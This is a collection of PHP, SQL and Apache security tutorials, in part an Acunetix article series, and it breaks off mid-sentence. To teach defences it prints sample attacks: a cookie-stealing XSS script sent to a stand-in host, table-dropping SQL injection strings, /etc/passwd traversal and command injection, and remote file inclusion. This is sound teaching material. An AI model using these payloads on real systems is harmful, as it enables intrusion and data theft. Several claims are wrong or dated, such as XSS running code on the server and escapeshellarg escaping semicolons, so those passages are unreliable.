Email validation is very important especially if your script sends emails as an invalid email address can cause unexpected results when attempting to send an email. You can find a great email validation function in our article, PHP:
Basic functions for quickstart PHP framework.
This article also provides some great functions for validating URLs, UK postcodes and general input data which requires alphanumeric and similar validation.
When handling input data in your PHP scripts, it is very important you keep track of what data has been validated and what data has not been validated.
We recommend using arrays to handle all your input data. For example, use the following code to handle an input:
$input['email'] = $_GET['email'];
You should then validate the input and save it in a separate array, this is also useful if for some reason you need to retrieve the unvalidated data.
$clean['email'] = validate_email($input['email']);
If you were taking a numeric input you should validate the input as follows:
$input['number'] = $_GET['number'];
if (is_numeric($input['number'])) {
$clean['number'] = $input['number'];
} else {
# Input contains nonnumeric characters
$clean['number'] = "";
}
SQL injection
If you are using SQL to store data, it is critical you validate any input data being used in your SQL queries. A misplaced quotation can cause an insert or update SQL query to completely fail, and if you use input data to control where clauses then poorly validated data can make your entire database open to attacks.
Any variable used in a SQL query should always be processed with a PHP function such as mysql_escape_string. Consider the following example:
$query = "INSERT INTO database (field) VALUES ('$value');";
If the $value variable contains a quotation symbol (') the entire mySQL query will fail. If the $value variable is used for names it is not uncommon for a name to contain a quotation mark, for example 'Richard O'Brien' or 'David O'Hara'. If these values were used in the $value variable the SQL query would fail.
By using the mysql_escape_string function PHP will escape the value by placing a backslash before any quotation symbols. For example:
$value = "David O'Hara";
$value = mysql_escape_string($value);
$value would now equal "David O\'Hara". SQL will not save the backslash, it simply tells SQL the quotation in the value is part of the value and not the end of the value in the query. If you select the value from the database and reinsert it you should use mysql_escape_string again.
Consider this example delete query:
$query = "DELETE FROM database WHERE field = '$value';";
If value equals a valid field value in the database this will not cause any problems, but if the user has control over this input it could be abused, e.g.
$value = "value' OR field != 'value";
In this example, the SQL query would become the following:
$query = "DELETE FROM database WHERE field = 'value' OR field != 'value';";
This would essentially delete every record in the 'database' table. By using the mysql_escape_string function the query would be:
$query = "DELETE FROM database WHERE
field = 'value\' OR field != \'value';";
This query wouldn't match any values and would therefore protect your database.
Cookie theft
Cookies are commonly used to store data on a user's system, cookies are harmless to the user's system and only allow you to store a small amount of data and are commonly used to store session data, for example to keep track of a user who has logged in so they are not required to login every time they browse to a new
page on your web site. Cookies can only be accessed with code located on the site which created the cookie, so if a cookie is set on OpenCrypt.com, only code hosted on OpenCrypt.com is allowed to access the cookie, code on OpenCrypt2.com could not access a cookie set on OpenCrypt.com.
However, if you allow user data input to be displayed on your web site such as user comments this can be manipulated to access cookies. For example, imagine a user posted the following code in a comment on
your web site:
<script>
document.location = 'http://example.org/
hijack.php?cookie=' + document.cookie;
</script>
When a user accessed a page containing this code, any cookie data associated to the site would be passed
to the URL http://example.org/hijack.php as a query string. This would enable the example.org site to retrieve
cookie data from your site. If you use cookies on your site to store login session data it may enable the site
owner to use that data to take control of another user's login session.
When users input data which is displayed on your site you should always validate it. You can either do this
by converting the HTML to plaintext so the code is displayed rather than being executed, or alternatively you
can simply remove any HTML from the comments.
By using the htmlentities PHP function you can convert all HTML to text, so for example <script> would
become <script> and would therefore be displayed by the browser and not executed by the browser.
Alternatively you could remove any HTML tags, either by removing the brackets or by using a function to
completely remove the HTML tags.
You can find a great function for removing HTML tags in our article, PHP: Basic functions for quickstart
PHP framework. The strip_selected_tags function in this article will enable you to control what tags are
removed, so you can allow formatting tags so users can add bold or italic text, but you can block script tags
and other unwanted HTML tags.
Traversing the file system
Whenever you access files on your system you must specify a filename, if you use input data to control
which file you are accessing this can create security risks.
Consider the following example:
$input_file = $_GET["filename"];
print file_get_contents($input_file);
When using the 'filename' query string to specify a filename you allow users to control which file they are
accessing and displaying. If you have a file called 'test.html' and enter that in the query string this is safe, but
there is nothing to prevent users from changing the query string to access other files.
By default this would only look for files in the same directory as the script, but there is nothing to prevent the
user from traversing the file system to access other files.
If the user were to enter ../../../path/to/another/file.ext they can essentially navigate to access any file on your
system. The same would apply even if you specify a full/absolute server path before the filename. For
example:
print file_get_contents("/path/to/$input_file");
Even with a path specified it is still possible to traverse the file system to access other files, e.g. /path/to/../../
would enable you to access files in the directory which contains the /path/ directory.
Using PHP's basename function you can find the filename in an input path, so if you pass '/path/to/file.ext'
into the basename function it will return 'file.ext' and not the path. The PHP dirname function does the
opposite and will return the path without the filename.
You should always use the basename function when handling filenames, e.g.
$input_file = basename($_GET["filename"]);
print file_get_contents("/path/to/$input_file");
This method would still enable users to access other files in the same directory so it is important you apply
other validation methods though how you do this depends entirely upon what you are trying to achieve.
If it is not possible to define a list of files that can be accessed you should consider validating the filenames
using alphanumeric validation, or you may also like to consider validating the filename based on the file
extension.
You can use PHP's pathinfo function to retrieve the same results as basename and dirname at the same
time and the pathinfo function also returns file extension information. For example:
$file_info = pathinfo($input_file);
Pathinfo will then return an array so you can access the file information.
$file_info['dirname'] would return the same data as the dirname function.
$file_info['basename'] would return the same data as the basename function.
$file_info['extension'] would return the file extension.
In this example, you could check the extension value is an HTML file to ensure the PHP script can only
access HTML files.
$file_info = pathinfo($_GET["filename"]);
if (strtolower($file_info['extension'])=="html") {
print file_get_contents("/path/to/".$file_info['basename']);
}
This ensures the extension value is lowercase and then checks it is equal to 'html', if it is the script is allowed
to access the file.
We hope this article has helped you understand the importance of PHP security and how to improve your
code to be secure. We will continue with further examples in part 2 of this article.
If you would like to learn more about PHP security we would recommend the O'Reilly book, Essential PHP
Security which is available from Amazon and many other book shops.
PHP / SQL Security Part 3
Last Time...
In the first article, I covered input validation and securing user input. In the previous article, I
looked at securing database input, and securing databases themselves. This led on to the issue of
controlling file access within PHP, which is the topic of this part of the series.
Directory Traversal Attacks
In a directory traversal attack, the attacker will specify a filename containing characters which are
interpreted specially by the filesystem. Usually, . refers to the same directory, and .. refers to its
parent directory. For example, if your script asks for a username, then opens a file specific to that
username (code below) then it can be exploited by passing a username which causes it to refer to a
different file.
$username = $_GET['user'];
$filename = “/home/users/$username”;
readfile($filename);
If an attacker passes the query string
?user=../../etc/passwd
then PHP will read /etc/passwd and output that to the user. Since most operating systems restrict
access to system files, and with the advent of shadow password files, this specific attack is less
useful than it previously was, but similarly damaging attacks can be made by obtaining .php files
which may contain database passwords, or other configuration data, or by obtaining the database
files themselves. Anything which the user executing PHP can access (usually, since PHP is run
from within a web server, this is the user the web server runs as), PHP itself can access and output
to a remote client.
Once again, PHP provides functions which step in and offer some protection against this kind of
attack, along with a configuration file directive to limit the file paths a PHP script may access.
realpath() and basename() are the two functions PHP provides to help avoid directory traversal
attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For
example, the $filename from above, passed into realpath(), would return
/etc/passwd
basename() strips the directory part of a name, leaving behind just the filename itself. Using these
two functions, it is possible to rewrite the script above in a much more secure manner.
$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);
This variant is immune to directory traversal attacks, but it does not prevent a user requesting a file
they weren't expected to request, but which was in the same directory as a file they are allowed to
request. This can only be prevented by changing filesystem permissions on files, by scanning the
filename for prohibited filenames, or by moving files you do not want people to be able to request
the contents of outside of the directory containing the files you do want people to be able to access.
The configuration file variable open_basedir can be used to specify the base directory, or a list of
base directories, from which PHP can open files. A script is forbidden to open a file from a
directory which is not in the list, or a subdirectory of one in the list.
Note that PHP included files are subject to this restriction, so the standard PHP include directory
should be listed under open_basedir as well as any directories containing files you wish to provide
access to through PHP. open_basedir can be specified in php.ini, globally in httpd.conf, or as a per
virtual host setting in httpd.conf. The php.ini syntax is
open_basedir = “/path:/path2:/path3”
The httpd.conf syntax makes use of the php_admin_value option,
php_admin_value open_basedir “/path:/path2:/path3”
open_basedir cannot be overridden in .htaccess files.
Remote Inclusion
PHP can be configured with the allow_url_fopen directive, which allows it to treat a URL as a local
file, and allows URLs to be passed to any PHP function which expects a filename, including
readfile() and fopen(). This provides attackers with a mechanism by which they can cause remote
code to be executed on the server.
Consider the following case. Here, the include() function is used to include a PHP page specific to
an individual user. This may be to import their preferences as a series of variables, or to import a
new set of functionality for a different user type.
include($_GET['username'] . '.php');
This assumes that the value of username in the GET request corresponds to the name of a local file,
ending with .php. When a user provides a name such as bob, this looks for bob.php in the PHP
include directories (current directory, and those specified in php.ini). Consider, however, what
happens if the user enters
http://www.attackersrus.com/nastycode
This translates to http://www.attackersrus.com/nastycode.php and with allow_url_fopen enabled,
this remote file will be included into the script and executed. Note that the remote server would
have to serve php files as the raw script, instead of processing them with a PHP module first, in
order for this attack to be effective, or a script would have to output PHP code
( readfile(realnastycode.php) for instance).
Mechanisms such as the above allow attackers to execute any code they desire on vulnerable web
systems. This is limited only by the limitations placed on PHP on that system, and the limitations of
the user under which PHP is running (usually the same user that the entire web server is running
under).
One simple way to prevent this style of attack is to disable allow_url_fopen. This can be set in
php.ini. If allow_url_fopen is required for some parts of your site, another technique is to prefix the
file path with the absolute path to the starting directory. This reduces the portability of your scripts,
since that path must be set depending on where the script was installed, but it results in increased
security, since no path starting with a / (or X:\, or whatever it is on your operating system) can be
interpreted as a URL.
$username = basename(realpath($_GET['username']));
include('/home/www/somesite/userpages/' . $username . '.php');
The code above highlights not only prefixing with an absolute path, but also protecting against
directory traversal using basename and realpath.
Note that the third solution to the remote inclusion problem is to never use usersupplied filenames.
This alleviates a large number of filerelated security issues, and is recommended wherever
possible. Databases and support for PHP concepts such as classes should reduce userspecified file
operations to a minimum.
File Permissions
Files created with PHP have default permissions determined by the umask, short for unmask. This
can be found by calling the umask() function with no arguments.
The file permissions set are determined by a bitwise and of the umask against the octal number
0777 (or the permissions specified to a PHP function which allows you to do so, such as
mkdir("temp",0777) ). In other words, the permissions actually set on a file created by PHP would
be 0777 & umask().
A different umask can be set by calling umask() with a numeric argument. Note that this does not
default to octal, so umask(777) is not the same as umask(0777). It is always advisable to prefix the
0 to specify that your number is octal.
Given this, it is possible to change the default permissions by adding bits to the umask. A umask is
"subtracted" from the default permissions to give the actual permissions, so if the default is 0777
and the umask is 0222, the permissions the file will be given are 0555. If these numbers don't mean
anything to you, see the next section on UNIX File Permissions.
The umask is clearly important for security, as it defines the permissions applied to a file, and
therefore how that file may be accessed. However, the umask applies serverwide for the duration it
is set, so in a multithreaded server environment, you would set a default umask with appropriate
value, and leave it at that value. Use chmod() to change the permissions after creation of files whose
permissions must differ from the default.
UNIX File Permissions
UNIX file permissions are split into three parts, a user part, a group part, and an "others" part. The
user permissions apply to the user whose userid is specified as the owner of the file. The group
permissions apply to the group whose groupid is specified as the group owner of the file, and the
other permissions apply to everyone else.
The permissions are set as a sum of octal digits for each part, where read permission is 4, write
permission is 2, and execute permission is 1. To create UNIX file permissions, add each permission
digit you want to apply to each part, then combine the three to get a single octal number (note, on
the command line, chmod automatically treats numbers as octal, in PHP, you need to specify a
leading zero).
The permissions are also commonly displayed in the form of r (read), w (write) and x (execute),
written three times in a single row. The first three form the user permissions, second the group, and
third others.
Take, for example, a file owned by user andrew and group users. The user andrew must be able to
read, write and execute the file, the users group must be able to read and execute it, and everyone
else must be able to execute only.
This corresponds to rwxrxx, where each is a placeholder for the missing character of
permissions (w, for instance, in the group, and rw in the others). The at the front is due to the fact
that there is an extra part which specifies other, UNIX specific, attributes. The ls directory listing
tool uses this first column to display a d character if the item is a directory.
To obtain this permission set in octal, simply add the digits 4, 2 and 1, in three separate numbers,
then combine them in order. The user permissions are rwx, which is 4 + 2 + 1 = 7. The group
permissions are rx, which is 4 + 1 = 5, and the other permissions are x, which is 1 = 1. We now
have the values 7 for user, 5 for group, and 1 for others, which combines to the octal number 0751.
The actual permissions applied to a file created depend on the permissions set, and the umask,
which subtracts from the permissions set (actually its a bitwise and, but it has the effect of
subtracting, as long as you treat the permissions as though they were three distinct octal numbers,
and not a single three digit octal number). A umask of 0266, (which is equivalent to not write, not
read or write, not read or write, for user, group, and others, respectively) applied to a default
permission of 0777, results in 0511, which is rxxx. The umask is determined in the same way
as the permissions, but you start with 7 and subtract the numbers for the permissions you do not
want.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP security attacks
is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google
hacking and many more vulnerabilities. For more information & a trial download click here.
Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
File Uploads
So far, we have discussed file operations as they apply to existing files on the server, and files
created by a PHP script directly. We have not considered the security issues surrounding user
provided files, i.e. direct file uploads. PHP has a number of builtin functions to deal with file
uploads in a safe manner, and these will be discussed in the next article of the series.
PHP / SQL Security Part 2
by Andrew J. Bennieston
Last Time...
In the previous article, I looked at processing and securing user input when it is to be redisplayed or
executed as PHP code. Now its time to consider entering that data into a database, and cover the
security issues which arise when doing so.
SQL Injection
SQL (Structured Query Language) is the language used to interface with many database systems,
including MySQL, PostgreSQL and MSSQL. Certain words and characters are interpreted specially
by SQL, as commands, separators, or command terminators, for instance.
When a user enters data into a form, there is nothing stopping them entering these special
commands and characters. Consider the PHP code below:
$query = “INSERT INTO orders(address) VALUES('$_GET['address']')”;
$result = mysql_query($query);
A form with a textbox named address would be used to gather the information for this page. We'll
ignore any other form elements for now, but obviously there'd be the order items, a name, possibly
a price, a delivery date, and so on, which would also all need storing in a database.
Imagine a perfectly legitimate user comes along and enters the following address
14 King's Way
Kingston
Kingham County
The database would spit back an error because the SQL command would be malformed. In the
query, the address value is surrounded by single quotes, because it is a string value. When the
database hits the apostrophe in King's Way, it will treat it as the closing single quote, and end the
string. The rest of the address will be treated as SQL commands. Since these “commands” don't
exist, the database returns to PHP with an error.
Now consider an attacker entering the following information into the form:
14 Kings Way
Kingston
Kingham County');DELETE FROM orders *; INSERT INTO ORDERS(address) VALUES('Your data just got deleted by us. We win
Now, the command will succeed. The expected string data is presented, along with a closing quote.
The opening ( after VALUES is closed, and the SQL command is terminated using a semicolon.
After this, another command begins, one which tells the database to delete the entire contents of the
orders table. Then, because the SQL hardcoded into the PHP contains another closing single quote,
a third SQL command is entered, which leaves an open string value. This will be matched up with
the final quote in the hardcoded SQL, and the entire command is syntactically correct, as far as
SQL is concerned, and will therefore execute with no complaint.
Clearly, it is not desirable for any user to be able to issue arbitrary queries simply by posting data in
a form. Luckily for us, as with the PHP and HTML input issues discussed in part 1, PHP provides a
solution. The addslashes() and stripslashes() functions step in to prevent the above scenarios, and
any number of similar attacks.
addslashes() will escape characters with a special meaning to SQL, such as ' or ; by prefixing them
with a backslash (\), the backslash itself is also escaped, becoming \\. stripslashes() performs the
opposite conversion, removing the prefix slashes from a string.
When entering data into a database, addslashes() should be run on all usersupplied data, and any
PHP generated data which may contain special characters. To guarantee safety, simply run
addslashes() on every string input to the database, even if it was generated internally by a PHP
function. Similarly, be sure to run stripslashes() when pulling data back out from the database.
NonString Variables
Since PHP automatically determines the type of a variable, you should also check variables which
you expect to be integers or other data types. For instance, the int type in SQL does not need to be
quoted, but it is still possible for a string in a PHP variable to be inserted into an SQL query in the
position an integer would usually take. Consider the example below.
$query = “INSERT INTO customers(customer_number) VALUES($_POST['number'])”;
If a user supplied the value
0); DROP TABLE customers; CREATE TABLE customers(customer_id
then the same kind of attack as before can be mounted. In this case, simply using addslashes() isn't
enough: you will prevent the command execution, but the database will still consider this to be an
error as the words are not valid in that context. The only way to ensure against this kind of attack is
to perform consistent input validation. Make sure that a value you think should be an integer really
is. A regular expression that matches any noninteger characters should return false on a PHP string
containing only an “integer”. When that string is treated as an integer by SQL, it will therefore not
cause any errors or unexpected code execution.
Database Ownership & Permissions
There are other precautions you may be able to take to prevent some of the more serious SQL
injection attacks. One such course of action is to implement access control on the database. Many
database packages support the concept of users, and it should be possible to set an owner, with full
permissions to modify anything within the database, and other users which may only connect and
issue SELECT or INSERT queries, thus preserving any data already entered against DELETE or
DROP commands. The specifics of achieving such protection will depend on the database system
you're using, and consulting the documentation or user manual should reveal how to implement
access control.
The user designated as the database owner should never be used to connect to the database from a
PHP script; owner privileges should be used on consoles or web admin interfaces such as
phpmysqladmin. If a script requires the DELETE or UPDATE commands, it should ideally use a
separate user account to the standard account, so that the standard account can only add data using
INSERT, and retrieve data using SELECT. This separation of permissions prevents attacks by
limiting the effectiveness of any one SQL injection avenue. If, by poor or forgetful programming, a
user can inject SQL into one script, they will gain only SELECT / INSERT permissions, or only
UPDATE / DELETE permissions, and never sufficient permissions to drop entire tables or modify
the table structure using the ALTER command.
File Permissions
Data in a database system must be stored somehow on disk. The database system itself is
responsible for exactly how the data is stored, but usually there will be a data/ directory under
which the database keeps its files. On a shared hosting system, or a system which allows users some
access to the filesystem, it is essential to reduce the permissions on this file to a bare minimum;
only the system user under which the database process itself runs should have read or write access
to the data files. The web server does not need access as it will communicate with the database
system for its data, instead of accessing the files directly.
Making Database Connections
PHP usually connects to the database management system through a TCP socket or a local domain
socket (on UNIX/Linux). Where possible, you should prevent connections to this socket from IP
addresses or processes other than the web server, and any other process which needs access to the
data (for example, if you have internal order processing software which does not run through the
web server). If the web server and the database server are on the same computer, and no other
services are running which may be exploited to provide a database connection, it should be
sufficient to allow only the local host (given by the hostname localhost or the IP address 127.0.0.1)
access to the TCP port on which the database manager is listening. If the web server and database
server are on different machines, the IP of the web server should be specified explicitly. In short,
limit the access to the database as much as possible without breaking anything that needs access to
it. This should help to ensure that the only access channel is via your PHP scripts, and those have
been written securely enough to check for unexpected or unauthorised data and reject it before it
reaches the database.
Database Passwords In Scripts
Finally, a word on database passwords. Each database user should be assigned a password, and your
scripts will need this password in order to initiate a connection to the database. Ideally, scripts
containing configuration data such as the database username and password should be stored outside
of the web server's document root. This prevents a casual attacker retrieving the plain text of the
configuration file and obtaining the database password.
Other methods to consider are to use a .php extension for the file, instead of the commonly used .inc
extension, for included files. The .php extension ensures that the file is passed through PHP before
output is sent to the user's browser, and so it is possible to prevent display of data within the file
simply by not echoing it!
.htaccess files provide a third method of protecting against password grabbing. If you deny web
access to files whose names begin with .databaseconfig, for instance, a user cannot easily obtain the
file through the web server directly.
Of course, a user may still be able to exploit file access security vulnerabilities in scripts to obtain,
or even to change, the contents of the file.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP security attacks
is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
Later In The Series
The next article in this series looks at PHP and file access in detail.
PHP Security / SQL Security Part 1
by Andrew J. Bennieston
Web Security: The Big Picture
Whether your site is the web presence for a large multinational, a gallery showing your product
range and inviting potential customers to come into the shop, or a personal site exhibiting your
holiday photos, web security matters. After the hard work put in to make your site look good and
respond to your users, the last thing you want is for a malicious hacker to come along, perform a
PHP hack and break it somehow.
There are a number of problems in web security, and unfortunately not all of them have definite
solutions, but here we'll look at some of the problems that should be considered every time you set
out to write a PHP script to avoid a PHP hack attack. These are the problems which, with well
designed code, can be eliminated entirely. Before looking in detail at the solutions, though, lets take
a moment to define the problems themselves.
SQL Injection
In this attack, a user is able to execute SQL queries in your website's database. This attack is usually
performed by entering text into a form field which causes a subsequent SQL query, generated from
the PHP form processing code, to execute part of the content of the form field as though it were
SQL. The effects of this attack range from the harmless (simply using SELECT to pull another data
set) to the devastating (DELETE, for instance). In more subtle attacks, data could be changed, or
new data added.
Directory Traversal
This attack can occur anywhere usersupplied data (from a form field or uploaded filename, for
example) is used in a filesystem operation. If a user specifies “../../../../../../etc/passwd” as form data,
and your script appends that to a directory name to obtain userspecific files, this string could lead
to the inclusion of the password file contents, instead of the intended file. More severe cases involve
file operations such as moving and deleting, which allow an attacker to make arbitrary changes to
your filesystem structure.
Authentication Issues
Authentication issues involve users gaining access to something they shouldn't, but to which other
users should. An example would be a user who was able to steal (or construct) a cookie allowing
them to login to your site under an Administrator session, and therefore be able to change anything
they liked.
Remote Scripts (XSS)
XSS, or CrossSite Scripting (also sometimes referred to as CSS, but this can be confused with
Cascading Style Sheets, something entirely different!) is the process of exploiting a security hole in
one site to run arbitrary code on that site's server. The code is usually included into a running PHP
script from a remote location. This is a serious attack which could allow any code the attacker
chooses to be run on the vulnerable server, with all of the permissions of the user hosting the script,
including database and filesystem access.
Processing User Data – Form Input Verification & HTML Display
Validating Input And Stripping Tags
When a user enters information into a form which is to be later processed on your site, they have the
power to enter anything they want. Code which processes form input should be carefully written to
ensure that the input is as requested; password fields have the required level of complexity, email
fields have at least some characters, an @ sign, some more characters, a period, and two or more
characters at the end, zip or postal codes are of the required format, and so on.
Each of these may be verified using regular expressions, which scan the input for certain patterns.
An example for email address verification is the PHP code shown below. This evaluates to true if
an email address was entered in the field named 'email'.
preg_match('/^.+@.+\..{2,3}$/',$_POST['email']);
This code just constructs a regular expression based on the format described above for an email
address. Note that this will return true for anything with an @ sign and a dot followed by 2 or 3
characters. That is the general format for an email address, but it doesn't mean that address
necessarily exists; you'd have to send mail to it to be sure of that.
Interesting as this is, how does it relate to security? Well, consider a guestbook as an example.
Here, users are invited to enter a message into a form, which then gets displayed on the HTML page
along with everyone else's messages. For now, we won't go into database security issues, the
problems dealt with below can occur whether the data is stored in a database, a file, or some other
construct.
If a user enters data which contains HTML, or even JavaScript, then when the data is included into
your HTML for display later, their HTML or JavaScript will also get included.
If your guestbook page displayed whatever was entered into the form field, and a user entered the
following,
Hi, I <b>love</b> your site.
Then the effect is minimal, when displayed later, this would appear as,
Hi, I love your site.
Of course, when the user enters JavaScript, things can get a lot worse. For example, the data below,
when entered into a form which does not prevent JavaScript ending up in the final displayed page,
will cause the page to redirect to a different website. Obviously, this only works if the client has
JavaScript enabled in their browser, but the vast majority of users do.
Hi, I love your site. Its great!<script
language=”JavaScript”>document.location=”http://www.acunetix.com/”;</script>
For a split second when this is displayed, the user will see,
Hi, I love your site. Its great!
The browser will then kick in and the page will be refreshed from www.acunetix.com. In this case,
a fairly harmless alternative page, although it does result in a denial of service attack; users can no
longer get to your guestbook.
Consider a case where this was entered into an online order form. Your order dispatchers would not
be able to view the data because every time they tried, their browser would redirect to another site.
Worse still, if the redirection occurred on a critical page for a large business, or the redirection was
to a site containing objectionable material, custom may be lost as a result of the attack.
Fortunately, PHP provides a way to prevent this style of PHP hack attack. The functions
strip_tags(), nl2br() and htmlspecialchars() are your friends, here.
strip_tags() removes any PHP or HTML tags from a string. This prevents the HTML display
problems, the JavaScript execution (the <script> tag will no longer be present) and a variety of
problems where there is a chance that PHP code could be executed.
nl2br() converts newline characters in the input to <br /> HTML tags. This allows you to format
multiline input correctly, and is mentioned here only because it is important to run strip_tags()
prior to running nl2br() on your data, otherwise the newly inserted <br /> tags will be stripped out
when strip_tags() is run!
Finally, htmlspecialchars() will entityquote characters such as <, > and & remaining in the input
after strip_tags() has run. This prevents them being misinterpreted as HTML and makes sure they
are displayed properly in any output.
Having presented those three functions, there are a few points to make about their usage. Clearly,
nl2br() and htmlspecialchars() are suited for output formatting, called on data just before it is
output, allowing the database or filestored data to retain normal formatting such as newlines and
characters such as &. These functions are designed mainly to ensure that output of data into an
HTML page is presented neatly, even after running strip_tags() on any input.
strip_tags(), on the other hand, should be run immediately on input of data, before any other
processing occurs. The code below is a function to clean user input of any PHP or HTML tags, and
works for both GET and POST request methods.
function _INPUT($name)
{
if ($_SERVER['REQUEST_METHOD'] == 'GET')
return strip_tags($_GET[$name]);
if ($_SERVER['REQUEST_METHOD'] == 'POST')
return strip_tags($_POST[$name]);
}
This function could easily be expanded to include cookies in the search for a variable name. I called
it _INPUT because it directly parallels the $_ arrays which store user input. Note also that when
using this function, it does not matter whether the page was requested with a GET or a POST
method, the code can use _INPUT() and expect the correct value regardless of request method. To
use this function, consider the following two lines of code, which both have the same effect, but the
second strips the PHP and HTML tags first, thus increasing the security of the script.
$name = $_GET['name');
$name = _INPUT('name');
If data is to be entered into a database, more processing is needed to prevent SQL injection, which
will be discussed later.
Executing Code Containing User Input
Another concern when dealing with user data is the possibility that it may be executed in PHP code
or on the system shell. PHP provides the eval() function, which allows arbitrary PHP code within a
string to be evaluated (run). There are also the system(), passthru() and exec() functions, and the
backtick operator, all of which allow a string to be run as a command on the operating system shell.
Where possible, the use of all such functions should be avoided, especially where user input is
entered into the command or code. An example of a situation where this can lead to attack is the
following command, which would display the results of the command on the web page.
echo 'Your usage log:<br />';
$username = $_GET['username'];
passthru(“cat /logs/usage/$username”);
passthru() runs a command and displays the output as output from the PHP script, which is included
into the final page the user sees. Here, the intent is obvious, a user can pass their username in a GET
request such as usage.php?username=andrew and their usage log would be displayed in the browser
window.
But what if the user passed the following URL?
usage.php?username=andrew;cat%20/etc/passwd
Here, the username value now contains a semicolon, which is a shell command terminator, and a
new command afterwards. The %20 is a URLEncoded space character, and is converted to a space
automatically by PHP. Now, the command which gets run by passthru() is,
cat /logs/usage/andrew;cat /etc/passwd
Clearly this kind of command abuse cannot be allowed. An attacker could use this vulnerability to
read, delete or modify any file the web server has access to. Luckily, once again, PHP steps in to
provide a solution, in the form of the escapeshellarg() function. escapeshellarg() escapes any
characters which could cause an argument or command to be terminated. As an example, any single
or double quotes in the string are replaced with \' or \”, and semicolons are replaced with \;. These
replacements, and any others performed by escapeshellarg(), ensure that code such as that presented
below is safe to run.
$username = escapeshellarg($_GET['username']);
passthru(“cat /logs/usage/$username”);
Now, if the attacker attempts to read the password file using the request string above, the shell will
attempt to access a file called “/logs/usage/andrew;cat /etc/passwd”, and will fail, since this file will
almost certainly not exist.
It is generally considered that eval() called on code containing user input be avoided at all costs;
there is almost always a better way to achieve the desired effect. However, if it must be done,
ensure that strip_tags has been called, and that any quoting and character escapes have been
performed.
Combining the above techniques to provide stripping of tags, escaping of special shell characters,
entityquoting of HTML and regular expressionbased input validation, it is possible to construct
secure web scripts with relatively little work over and above constructing one without the security
considerations. In particular, using a function such as the _INPUT() presented above makes the
secure version of input acquisition almost as painless as the insecure version PHP provides.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP hack attacks is
by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
Later In The Series
This series will go on to look at SQL databases, and protecting against SQL injection attacks, as
well as file operations and session management, including a look at one of the features of PHP
designed to increase security and avoid PHP hack attacks the PHP Safe Mode.
Apache server Security:
Security Tips for Server Configuration
• Permissions on ServerRoot Directories
• Server Side Includes
Non Script Aliased CGI
•
Script Aliased CGI
•
CGI in General
•
Other sources of dynamic content
•
Protecting System Settings
•
Protect Server Files by Default
•
Some hints and tips on security issues in setting up a web server. Some of the suggestions will be
general, others specific to Apache.
Permissions on ServerRoot Directories
In typical operation, Apache is started by the root user, and it switches to the user defined by the
User directive to serve hits. As is the case with any command that root executes, you must take care
that it is protected from modification by nonroot users. Not only must the files themselves be
writeable only by root, but also the directories and parents of all directories. For example, if you
choose to place ServerRoot in /usr/local/apache then it is suggested that you create that
directory as root, with commands like these:
mkdir /usr/local/apache
cd /usr/local/apache
mkdir bin conf logs
chown 0 . bin conf logs
chgrp 0 . bin conf logs
chmod 755 . bin conf logs
It is assumed that /, /usr, and /usr/local are only modifiable by root. When you install the httpd
executable, you should ensure that it is similarly protected:
cp httpd /usr/local/apache/bin
chown 0 /usr/local/apache/bin/httpd
chgrp 0 /usr/local/apache/bin/httpd
chmod 511 /usr/local/apache/bin/httpd
You can create an htdocs subdirectory which is modifiable by other users since root never
executes any files out of there, and shouldn't be creating files in there.
If you allow nonroot users to modify any files that root either executes or writes on then you open
your system to root compromises. For example, someone could replace the httpd binary so that the
